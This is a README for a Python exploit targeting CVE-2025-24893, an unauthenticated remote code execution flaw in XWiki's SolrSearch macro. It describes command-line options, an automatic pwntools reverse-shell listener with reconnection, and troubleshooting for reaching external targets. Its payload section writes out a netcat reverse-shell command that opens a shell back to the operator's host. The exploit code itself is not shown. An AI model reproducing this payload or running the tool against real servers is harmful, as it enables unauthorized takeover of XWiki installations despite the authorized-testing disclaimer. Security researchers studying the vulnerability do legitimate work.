CVE-2025-24893 PoC — Remote code execution as guest via SolrSearchMacros request in xwiki

Readme

# CVE-2025-24893 - XWiki Platform Remote Code Execution

A Python exploit for CVE-2025-24893, a remote code execution vulnerability in XWiki Platform. This exploit includes a self-contained reverse shell listener using pwntools.

## Description

This exploit targets XWiki Platform installations vulnerable to CVE-2025-24893, allowing remote code execution through a template injection vulnerability in the SolrSearch component. The exploit automatically starts a reverse shell listener and provides an interactive shell upon successful exploitation.

## Requirements

- Python 3.x
- `requests` library
- `pwntools` library

## Installation

### Recommended: Using UV (Modern Python Package Manager)

```bash
# Install UV if you don't have it
curl -LsSf https://astral.sh/uv/install.sh | sh

# Install dependencies
uv pip install requests pwntools
```

### Alternative: Using pip

```bash
pip install requests pwntools
```

## Usage

### Basic Usage

```bash
python3 CVE-2025-24893.py <target_url>
```

### Examples

```bash
# Basic usage with default callback (0.0.0.0:9521)
python3 CVE-2025-24893.py example.com

# Custom callback IP and port
python3 CVE-2025-24893.py example.com -i 192.168.1.100 -p 4444

# Skip initial test and go straight to reverse shell
python3 CVE-2025-24893.py example.com --no-test

# Custom reconnection attempts
python3 CVE-2025-24893.py example.com --max-reconnects 10

# Full custom configuration
python3 CVE-2025-24893.py example.com -i 10.0.0.5 -p 8080 --no-test --max-reconnects 3
```

### Command Line Arguments

- `target`: Target URL (required)
  - Can be domain only: `example.com`
  - Can include protocol: `http://example.com` or `https://example.com`

- `-i, --ip`: Callback IP for reverse shell (default: 0.0.0.0)
  - Use `0.0.0.0` to listen on all interfaces
  - Use specific IP (e.g., `192.168.1.100`) to bind to specific interface

- `-p, --port`: Callback port for reverse shell (default: 9521)

- `--no-test`: Skip the initial test and go straight to reverse shell

- `--max-reconnects`: Maximum reconnection attempts when shell drops (default: 5)

## How It Works

1. **Protocol Detection**: Automatically detects if the target supports HTTP or HTTPS
2. **Test Phase**: Runs a test command (`id`) to verify the exploit works
3. **Listener Setup**: Automatically starts a reverse shell listener using pwntools
4. **Payload Execution**: Sends the reverse shell payload to the target
5. **Interactive Shell**: Provides an interactive shell upon successful connection
6. **Auto-Reconnection**: Automatically re-establishes connection if shell drops

## Self-Contained Reverse Shell

This exploit is self-contained and does not require manual netcat setup:

- Automatically starts a listener on the specified IP and port
- Handles the reverse shell connection automatically
- Provides an interactive shell interface
- No need to manually run `nc -lvp <port>`

## Automatic Reconnection

The exploit includes robust reconnection capabilities:

- **EOF Handling**: Automatically detects when shell connection drops
- **Auto-Recovery**: Re-establishes listener and re-sends exploit payload
- **Configurable Retries**: Set maximum reconnection attempts (default: 5)
- **Graceful Degradation**: Continues until max attempts reached

### Reconnection Behavior

When the shell connection drops (EOF error):
1. Detects the connection loss
2. Closes the old listener
3. Starts a new listener
4. Re-sends the exploit payload
5. Re-establishes the shell connection
6. Continues interactive session

## Payload Details

The exploit uses a Groovy template injection payload that executes:
```bash
busybox nc <callback_ip> <callback_port> -e /bin/sh
```

## Features

- **Automatic Protocol Detection**: Detects HTTP/HTTPS automatically
- **Self-Contained Listener**: No manual netcat setup required
- **Interactive Shell**: Full interactive shell upon successful exploitation
- **Test Mode**: Optional test phase to verify exploit works
- **Flexible Configuration**: Customizable callback IP and port
- **Auto-Reconnection**: Handles connection drops automatically
- **Robust Error Handling**: Graceful handling of various error conditions

## Troubleshooting

### Common Issues

1. **"Address already in use"**: Change the port using `-p` flag
2. **"Permission denied"**: Try using a port > 1024 or run with sudo
3. **No connection received**: 
   - Verify the target is vulnerable
   - Check if the target can reach your callback IP
   - Ensure no firewall is blocking the connection
4. **"Got EOF while sending in interactive"**: 
   - The script will automatically handle this and re-establish connection
   - If persistent, check network stability or increase `--max-reconnects`

### Network Considerations

- The callback IP should be reachable from the target
- Use `0.0.0.0` to listen on all interfaces
- For external targets, ensure your IP is publicly accessible
- Unstable networks may require higher reconnection limits

## Disclaimer

This tool is for educational and authorized testing purposes only. Always ensure you have proper authorization before testing any systems.

## Credits

- **Author**: nopgadget
- **Based on**: Original script by Al Baradi Joy

## License

This project is for educational purposes only. Use responsibly and only on systems you own or have explicit permission to test. 

File Snapshot

Remarks